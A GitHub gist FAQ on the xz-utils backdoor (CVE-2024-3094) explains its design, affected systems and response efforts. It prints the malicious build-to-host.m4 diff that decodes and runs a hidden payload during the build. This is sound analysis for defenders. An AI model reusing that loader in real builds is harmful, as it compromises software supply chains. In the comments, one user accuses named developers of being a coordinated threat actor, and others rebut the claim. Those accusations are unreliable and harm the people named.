Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active April 20, 2024 16:20
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is still a new situation. There is a lot we don't know. We don't know if there are more possible exploit paths. We only know about this one path. Please update your systems regardless.

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

Guys, I know we can't read PRs anymore in xz repo, but as I said earlier this PR tukaani-project/xz#86 was about actor JiaT75 coordinating with actor xry111 to further like "completely fasten CRC manytimesfold".

Maybe the code in that particular PR is legit, BUT:

As per original Andres Freund discovery, this exploit is exploiting CRC routines. Also same xry111 previously contributed (approved other's PRs and reviewed PRs from others) from openssl (SSH is involved the backdoor)

That actor is involved in so many PR/commits/review in openssl and systemd, protobuf-c. llvms, util-linux. torvalds/linux, make-ca, cpython, curl, libxcrypt, dosbox-x, rust...
16 repo contributed to this year, 47 repos in 2023, 38 in 2024.
Some of his PRs are reviewed in conjunction with xen0n or xry111 is reviewing PRs from him. xen0n has contributed 36 repos this year, 101 in 2023 and 136 in 2024.

They are participating to adding support for "Loongsong Chinese architecture", so that might explain their wide contributions, but everyone in their group https://github.com/loongson-community is accessing a large number of key open source projects
Overall they cover such a wide number of open source projects, rust, nodejs, mozilla repos...

I'm not saying all PRs are suspicious, but certainly an actor can coordinate between these components to push a few changes here an there to create some sophisticated exploit like the one showed here to exploit .

It's a Loong stretch, but Linux is like powering $400-500B Cloud/Saas revenue, not counting all standalone servers out there, All of that powering a large portion of the world's economy; so a motivated bad actor can definetaly afford taking a couple of years of good contributions to obfuscate and backdoor Linux.

The sophistication of the current attack is an indicator all of packages these folks contributed need complete review of all PRs and commits from these folks.

thanks @ozars for this link:
https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPTSBnaXRodWJfZXZlbnRzIFdIRVJFIGFjdG9yX2xvZ2luPSd4cnkxMTEnIE9SREVSIEJZIGZpbGVfdGltZSBERVND

Using SELECT DISTINCT repo_name FROM github_events WHERE actor_login='xry111' ORDER BY file_time DESC

In the above will help assess how many linux core code are impacted by this actor/group (a lot).
image

Please comment on this, am I hallucinating ? This is a serious concern.
All original official projects these group touched need complete review of that group's contribution to their code, if you know them, please get their feedback on the topic

Coordinated changes to kernel, build tools, core deamons library and drivers is definitely possible after gaining trust over legit contributions by many different accounts over the course of many years for a motivated threat actor.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

Ah, waking up only to see this xz drama, and with myself somehow "involved"... I've just checked my boxes and they aren't affected, so let me provide some info from my perspective.

For the record, I know this xry111 guy and have met him in person last year, so I can at least confirm his identity is real and that he is actually doing the porting work. Either I'm being deceived as well, or maybe it's just unfortunate similarity in activity patterns after all; one can only know by actually reviewing the code.

As for the potential link to Loongson/LoongArch, I deliberately avoid getting into affiliation with Loongson, and haven't signed any NDA with them. AFAIK xry111 is also unaffiliated. We're mostly just doing trivial arch enablement here and there, fixing build errors, fixing modern C compatibility, all the daily packager stuff, and only occasionally going deeper than that. And from my experience, most of the arch-specific, or LoongArch-specific changes, would be guarded by #ifdef's or reside in separate files, and would never get built on other more popular arches.

Hope that's helpful in clearing some of the confusion or suspicion; I know I'm one of the people being suspected here though, so if that's the case, maybe read the code and reach your own conclusion. (And I'm not being defensive by replying with this; don't take this to be personal if I sound strange by not being a native speaker of English.)

Thanks for replying, I'm sorry if I'm overstretching this and you are innocent. My second post arrived in the mean time. We need all original project maintainers to review all your group's contributions as some legit contributions might have been used to obfuscate other backdoor-allowing code in systemd, llvm, make, openssl...

I was already suspicious seeing none of your group are actual official employees of Loongson.

@Artoria2e5
Copy link

Artoria2e5 commented Mar 30, 2024

I simply love it when people start connecting weird-ahh lines.

Look Mr Z-nonymous, I've met with at least 3 of the people on your screenshot, maybe even more but I'm terrible with faces. Felix Yan even signed my lost PGP key 222d7bda before a LUG meet many years ago. You're accusing people with real identification cards and faces and online names from the shadow of anonymity.

You better not bother my fat cat-avatar friend.

I was already suspicious seeing none of your group are actual official employees of Loongson.

If you know, you know. The Loongson people are terrible at writing documentation for the fancy features they bloat about (or according to their insiders, terrible at getting their legal or whatever departments to approve the public release of documentation; "you can win a competition and sign an NDA to get it!"). Their hardware is new, curious, and not cheap. Some people buy one and just spend forever trying to make it run a GBA emulator faster. It's basically Alcoholics Anonymous, but for people who spend 500+ dollars on a weird computer.

@Z-nonymous
Copy link

I simply love it when people start connecting weird-ahh lines.

Look Mr Z-nonymous, I've met with at least 3 of the people on your screenshot, maybe even more but I'm terrible with faces. Felix Yan even signed my lost PGP key 222d7bda before a LUG meet many years ago. You're accusing people with real identification cards and faces and online names from the shadow of anonymity.

You better not bother my fat cat-avatar friend.

I was already suspicious seeing none of your group are actual official employees of Loongson.

If you know, you know. The Loongson people are terrible at writing documentation for the fancy features they bloat about (or according to their insiders, terrible at getting their legal or whatever departments to approve the public release of documentation; "you can win a competition and sign an NDA to get it!"). Their hardware is new, curious, and not cheap. Some people buy one and just spend forever trying to make it run a GBA emulator faster. It's basically Alcoholics Anonymous, but for people who spend 500+ dollars on a weird computer.

Again sorry if i'm over stretching, I'd love to be wrong.

Again CRC, systemd, SSL cordinated changes that are exploited by this backdoor payload. hundreds of billions of potential ransomware $
I'm not buying anything other than the original code maintainers, of the touched repos to validated all that group's contribution.

I'm not disclosing my indentity because it's not needed to participate in github, which is why such elaborate attack is possible.

@lhmouse
Copy link

lhmouse commented Mar 30, 2024

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

@Artoria2e5
Copy link

Artoria2e5 commented Mar 30, 2024

Shall we look at the things you linked to then?

CRC: loongarch isn’t even being attacked here. Changing to that specialized implementation on a not-x86 architecture has no effect on x86-64, which is our target.

Systemd: what do you expect removing the "pure" attribute to do? It does not cause systemd to load liblzma if it previously did not, that I know.

SSL warning: it’s not even a security warning, it’s an annoying usage warning from OpenSSL. Command-line OpenSSL.

@Z-nonymous
Copy link

That sounds like a dangerous slippery slope stemming from confirmation bias. I suggest focusing on processes, not on people, and especially avoiding inflammatory language.

Thanks I'll stop there, I know maintainers of a lot of these projects are overworked, sometimes it's a side project, and welcome contributors. Lasse seems the example with emails explaining he has issues continue maintaining, while people pressuring for updates.

I just want all of these project original owners to understand the potential bigger issue that needs reviewing. This is highly sophisticated attack, involving CRC, SSL, systemd, make, I hope forensics get to the full explanation, but all the critical path to get such a backdoor in stealthly is touched by this group of enthousiast.

I'm also saying I could be wrong, but this needs thorough investigation.
On an OS that is powering almost every server and containers out there. Backdoor root access.

@taoky
Copy link

taoky commented Mar 30, 2024

https://web.archive.org/web/20240329180818/https://github.com/tukaani-project/xz/pull/86

The attacker only participates in reviewing the pull request (and it's the only open PR in xz repo at that time). Please stop making unreasonable accusation towards innocent developers.

@Z-nonymous
Copy link

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised.
It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

@erinacio
Copy link

Everyone, if you think any repo that could be affected needs a security audit, please open issues there asking for that, or simply contact the maintainers in person. There's no reason for advocating witch-hunting here. Please stop accusing others with vague evidences.

@Fearyncess
Copy link

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised. It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

quote-talk-is-cheap-show-me-the-code-linus-torvalds-45-66-13

@MingcongBai
Copy link

MingcongBai commented Mar 30, 2024

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised. It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

Eh.

Look dude, I'd be more careful with this kind of accusation. It's more than a little funny seeing you mention my name and then invalidating all of our (can friendship and passion not exist in China) work. How dare you.

Go, look me up and rest assured that you will be disappointed.

It's normal be anxious or at least a little nervous about the aftermath of this drama, but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit. This is the only way forward that does not bring doom to open source collaboration and this international community that we have worked so hard to build (and, in case you're wondering about what we do, to convince employees and management at Loongson that an open and community-friendly policy is the way forward).

If you still believe in this, please don't disappoint.

EDIT: Grammatical fixes, you know, not my native tongue.

@mrbbbaixue
Copy link

mrbbbaixue commented Mar 30, 2024

From the perspective of Loongson Company, there is no reason for them to extensively modify the fundamental components of Linux merely to add a backdoor.
Maybe we should just stop accusing specific country, company, And just focus on this person who write this; and how to stop this.

@vtorri
Copy link

vtorri commented Mar 30, 2024

kill the autools, use meson (the philosophy of meson is : only what is in git should go to the dist, there is even no need for a release, just a tag)

@DanielRuf
Copy link

relevant xkcd: https://xkcd.com/2347/

We had such cases before that in the npmjs ecosystem (and also PyPi).
Besides that, please everyone stick to the facts.

@herzeleid02 so far there is no active exploitation known. The installed version doesn't imply that you are truly affected - just that the version with the malicious test files and code is loaded. For the execution there are multiple requirements to be successful. Currently no one knows all, the list is just what Andres Freund found out.

We had big luck, because the performance regression was quickly detected and the code analyzed. I doubt that logging could be bypassed with this backdoor, So looking at the logs may show you, if anything relevant happened. But personally I think that nothing happened because the cover has been blown now and if any threat actor would exploit that now in a large scale, everyone would see that.

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

These are just my assumptions based on my experience in the field of cyber warfare, APTs and tactics involved in such things. The best way to hide something, is in plain sight. That also reminds me of bigger espionage cases.

@FlyGoat
Copy link

FlyGoat commented Mar 30, 2024

Ah, waking up only to see this xz drama, and with myself somehow "involved"... I've just checked my boxes and they aren't affected, so let me provide some info from my perspective.
For the record, I know this xry111 guy and have met him in person last year, so I can at least confirm his identity is real and that he is actually doing the porting work. Either I'm being deceived as well, or maybe it's just unfortunate similarity in activity patterns after all; one can only know by actually reviewing the code.
As for the potential link to Loongson/LoongArch, I deliberately avoid getting into affiliation with Loongson, and haven't signed any NDA with them. AFAIK xry111 is also unaffiliated. We're mostly just doing trivial arch enablement here and there, fixing build errors, fixing modern C compatibility, all the daily packager stuff, and only occasionally going deeper than that. And from my experience, most of the arch-specific, or LoongArch-specific changes, would be guarded by #ifdef's or reside in separate files, and would never get built on other more popular arches.
Hope that's helpful in clearing some of the confusion or suspicion; I know I'm one of the people being suspected here though, so if that's the case, maybe read the code and reach your own conclusion. (And I'm not being defensive by replying with this; don't take this to be personal if I sound strange by not being a native speaker of English.)

Thanks for replying, I'm sorry if I'm overstretching this and you are innocent. My second post arrived in the mean time. We need all original project maintainers to review all your group's contributions as some legit contributions might have been used to obfuscate other backdoor-allowing code in systemd, llvm, make, openssl...

I was already suspicious seeing none of your group are actual official employees of Loongson.

In your theory Linux could not exist because Linus was not an official employee of Intel.

Speaking for my self, supporting niche architectures in various FOSS softwares is my hobby over years. If you wish to check my identity, please go ahead, you'll find nothing more than a usual uni student trying to waste spare time on random stuff.

@schkwve
Copy link

schkwve commented Mar 30, 2024

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

@FlyGoat
Copy link

FlyGoat commented Mar 30, 2024

@DanielRuf
Copy link

How do these security audits work? I've never heard of security audits in OSS before.

@schkwve there are. For example the company Cure53 does such things. Also OpenSSL got audited multiple times:
https://duckduckgo.com/?t=ffab&q=cure53+security+audit+opensource&ia=web
https://duckduckgo.com/?q=openssl+security+audit&t=ffab&ia=web

Basically they read the code, run checks against the library (do some pentesting) and provide feedback based on the results.

Even the OpenSSF and Google sponsor security audits:
https://duckduckgo.com/?t=ffab&q=openssf+security+audit&ia=web

If you look for more details around this, you will find more details for sure.

@erinacio
Copy link

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

Security audits are more common in crypto or security related repos. Take gocryptfs as an example: https://defuse.ca/audits/gocryptfs.htm .

Informal audits could be taken just by manually reviewing all commit I think, but formal audits may require asking for some security consultants. Many potentially affected repos are backed by big? corps like Red Hat (taking systemd as example). They must know the correct person to contact to perform a security audit.

@herzeleid02
Copy link

herzeleid02 commented Mar 30, 2024

relevant xkcd: https://xkcd.com/2347/

We had such cases before that in the npmjs ecosystem (and also PyPi). Besides that, please everyone stick to the facts.

@herzeleid02 so far there is no active exploitation known. The installed version doesn't imply that you are truly affected - just that the version with the malicious test files and code is loaded. For the execution there are multiple requirements to be successful. Currently no one knows all, the list is just what Andres Freund found out.

We had big luck, because the performance regression was quickly detected and the code analyzed. I doubt that logging could be bypassed with this backdoor, So looking at the logs may show you, if anything relevant happened. But personally I think that nothing happened because the cover has been blown now and if any threat actor would exploit that now in a large scale, everyone would see that.

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

These are just my assumptions based on my experience in the field of cyber warfare, APTs and tactics involved in such things. The best way to hide something, is in plain sight. That also reminds me of bigger espionage cases.

Thanks a lot for the explanation. We still need to understand whats up with the payload and how the systems could be affected. There was some information how it injects an ssh auth function, but to actually exploit me you have to even know my ip adress, which sshd doesnt just advertise to the world. Journalctl seems fine and atimes of important stuff is ok, rpm -Va is ok too. Would they go that far?

@schkwve
Copy link

schkwve commented Mar 30, 2024

How do these security audits work? I've never heard of security audits in OSS before.

@schkwve there are. For example the company Cure53 does such things. Also OpenSSL got audited multiple times: https://duckduckgo.com/?t=ffab&q=cure53+security+audit+opensource&ia=web https://duckduckgo.com/?q=openssl+security+audit&t=ffab&ia=web

Basically they read the code, run checks against the library (do some pentesting) and provide feedback based on the results.

Even the OpenSSF and Google sponsor security audits: https://duckduckgo.com/?t=ffab&q=openssf+security+audit&ia=web

If you look for more details around this, you will find more details for sure.

Thanks for the links, It's been a bit of an eye opener about OSS security :p

Security audits are more common in crypto or security related repos.

That's probably why I haven't heard of security audits that much.

@cwegener
Copy link

@Z-nonymous You need to take a break from the Internet and get some fresh air.

@Exagone313
Copy link

Exagone313 commented Mar 30, 2024

Exhibit from my Libera IRC logs, IP is redacted for privacy.

#ubuntu/2024-01-30.log, UTC hours

[16:13:01] *** Joins: jiatan (~jiatan@redacted)
[16:16:24] <jiatan> Hello! I could not find this information on the Ubuntu docs after a bit of searching. Does Ubuntu LTS use packages from Debian Unstable or Debian Testing?
[16:18:51] <oerheks> jiatan, Unstable
[16:20:13] <jiatan> oerheks: Thanks!

edit: fixed date above, the 31 has only:

[11:49:53] *** Parts: jiatan (~jiatan@redacted) (Leaving)
$ whois redacted-ip
netname:        M247-LTD-Singapore
descr:          M247 LTD Singapore Infrastructure

As per https://spur.us/ it's from Witopia VPN

@cwegener
Copy link

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

@yump
Copy link

yump commented Mar 30, 2024

@DanielRuf

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

If the perpetrator is an intelligence agency, I think the necessary preparation makes it less likely, not more likely, that there was a specific target in mind. Given that a backdoor into sshd takes years to insert, and is very useful capability to have, at a strategic level a good spy agency should be building such capabilities well in advance of learning what they are to be used for. When war looms you don't want to have to say, "Sorry boss, we can do that, but it'll take 2 years."

@lhmouse
Copy link

lhmouse commented Mar 30, 2024

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

I'm online on Libera and OFTC almost everyday, and no VPN is required.

If someone cares about their privacy, they can get generic user cloaks, provided by libera.chat since its migration from freenode; and there is no necessity to connect via VPN.

@DanielRuf
Copy link

@yump we can't say, if this is the case. It was just some input from my point of view based on past experience. Especially when it comes to tactics. So far we don't have the full details about the backdoor.

We should concentrate on the relevant technical facts for now.

@DanielRuf
Copy link

@lhmouse @cwegener the country is probably a false flag. A VPN is meant to make it look like you are from a different country.

It's not the first time I had a case where a hacker used a VPN to conceal their true country. The IP address pointed to a completely different country. So that's why we should not jump to conclusions here.

Any serious security expert does not do that. Attribution is hard and not like "look, this was the IP address, so they are in this country".

@LaRevoltage
Copy link

@yump we can't say, if this is the case. It was just some input from my point of view based on past experience. Especially when it comes to tactics. So far we don't have the full details about the backdoor.

We should concentrate on the relevant technical facts for now.

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.

There have been situation when the devs suddenly put malicious stuff in their project for various reason(GHSA-97m3-w2cp-4xx6) but the level of attack isn't comparable to this one. This is simply too good to be an exploit a normal developer wrote spontaneously.
It looks much more like a planned attack, which raises question about third party interference.

@mrbbbaixue
Copy link

from Witopia VPN 
Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland Mainland China.

Github, Libera, OFTC does not require VPN.
Moreover, These VPN services were blocked in Mainland China. Majority of Mainland China's VPN users use self-hosted servers to connect to HongKong SAR.

@marsmars0x01
Copy link

Exhibit from my Libera IRC logs, IP is redacted for privacy.

#ubuntu/2024-01-31.log, UTC hours

[16:13:01] *** Joins: jiatan (~jiatan@redacted)
